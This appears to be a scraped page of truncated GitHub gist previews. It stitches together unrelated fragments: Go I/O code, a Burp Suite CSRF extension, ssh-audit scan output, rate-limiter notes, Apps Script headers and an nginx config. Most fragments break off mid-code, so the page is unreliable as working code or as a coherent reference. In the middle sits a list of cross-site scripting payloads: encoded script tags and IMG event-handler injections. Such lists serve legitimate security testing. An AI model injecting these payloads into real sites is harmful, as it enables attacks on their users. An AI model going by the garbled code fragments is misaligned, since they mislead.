type readerFunc func(p []byte) (n int, err error)
func (rf readerFunc) Read(p []byte) (n int, err error) { return rf(p) }
func Copy(ctx context.Context, dst io.Writer, src io.Reader) error {
_, err := io.Copy(dst, readerFunc(func(p []byte) (int, error) {
select {
case <-ctx.Done():
return 0, ctx.Err()
This gist will no longer be updated as the changelog will be on the official website.
- Sublime Text/Merge Official Discord chat server: https://discord.gg/D43Pecu
- Sublime Text/Merge 中文 Telegram 交流群組: https://t.me/sublime_tw
Converted via https://domchristie.github.io/turndown
from burp import IBurpExtender, ISessionHandlingAction | |
class BurpExtender(IBurpExtender): | |
def registerExtenderCallbacks(self, callbacks): | |
callbacks.registerSessionHandlingAction(CsrfSessionHandler(callbacks.getHelpers())) | |
class CsrfSessionHandler(ISessionHandlingAction): | |
def __init__(self, helpers): |
% ssh-audit scan-me.nmap.org | |
# general | |
(gen) banner: SSH-2.0-OpenSSH_6.6.1 | |
(gen) software: OpenSSH 6.6.1 | |
(gen) compatibility: OpenSSH 6.5-6.6, Dropbear SSH 2013.62+ (some functionality from 0.52) | |
(gen) compression: enabled ([email protected]) | |
# key exchange algorithms | |
(kex) [email protected] -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62 | |
(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves |
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
The following are examples of the four types rate limiters discussed in the accompanying blog post. In the examples below I've used pseudocode-like Ruby, so if you're unfamiliar with Ruby you should be able to easily translate this approach to other languages. Complete examples in Ruby are also provided later in this gist.
In most cases you'll want all these examples to be classes, but I've used simple functions here to keep the code samples brief.
This uses a basic token bucket algorithm and relies on the fact that Redis scripts execute atomically. No other operations can run between fetching the count and writing the new count.
/* | |
The intent of this script is for posting filtered Gmail messages to Slack. | |
This script could be used on its own with manually-marked messages, but it | |
is most useful it when combined with a Gmail filter. The script assumes that | |
target messages have had a specific label set on them and have been starred. | |
The Apps Script can then be set to run periodically. | |
2015/02 cmyers, rush | |
events { | |
worker_connections 1024; | |
} | |
http { | |
default_type text/html; | |
access_log /dev/stdout; | |
sendfile on; | |
keepalive_timeout 65; |
// Includes functions for exporting active sheet or all sheets as JSON object (also Python object syntax compatible). | |
// Tweak the makePrettyJSON_ function to customize what kind of JSON to export. | |
var FORMAT_ONELINE = 'One-line'; | |
var FORMAT_MULTILINE = 'Multi-line'; | |
var FORMAT_PRETTY = 'Pretty'; | |
var LANGUAGE_JS = 'JavaScript'; | |
var LANGUAGE_PYTHON = 'Python'; |